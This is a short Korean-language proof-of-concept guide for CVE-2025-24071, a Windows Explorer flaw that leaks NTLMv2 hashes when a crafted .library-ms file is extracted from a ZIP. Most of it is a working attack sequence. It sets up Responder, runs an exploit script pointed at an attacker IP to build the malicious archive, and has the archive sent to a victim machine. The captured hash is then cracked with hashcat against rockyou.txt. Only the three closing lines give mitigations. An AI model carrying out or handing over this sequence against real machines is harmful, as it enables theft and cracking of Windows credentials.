CVE-2025-24071-POC-NTLMHashDisclosure

• 공격자가 제어하는 공유에 대한 자동 SMB 인증을 트리거합니다.
• 상호 작용 불필요 — Windows Explorer가 이 NTLM 인증을 자동으로 시작합니다.
• NTLMv2 해시 유출(정보 공개)이 발생합니다.
• Windows 10/11 모든 버전, 특히 11 23H2에 영향을 미칩니다.

공격자 환경 설정

sudo apt update && sudo apt install responder -y

Responder 시작

sudo responder -I eth0

익스플로잇 스크립트 실행

필요한 Python 모듈 설치

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

이 명령은 다음 파일을 생성합니다: testpayload.library-ms testpayload.zip

피해자 머신에서 테스트

testpayload.zip을 Windows 11 테스트 머신으로 전송합니다. Windows 파일 탐색기를 사용하여 ZIP을 추출합니다. 이로 인해 Windows가 SMB 경로에 액세스하려고 시도하며 NTLM 해시가 유출됩니다.

해시 캡처

responder -I etho0

해시 파일 준비

hash,txt 파일 생성

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

워드리스트 선택

가장 일반적인 rockyou.txt

Hashcat 실행

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

완화 조치

• 방화벽에서 아웃바운드 SMB(TCP 445)를 차단합니다.
• 신뢰할 수 없는 SMB 공유에 대한 자동 인증을 비활성화합니다(그룹 정책).
• .library-ms 파일 추출 및 SMB 연결을 모니터링합니다.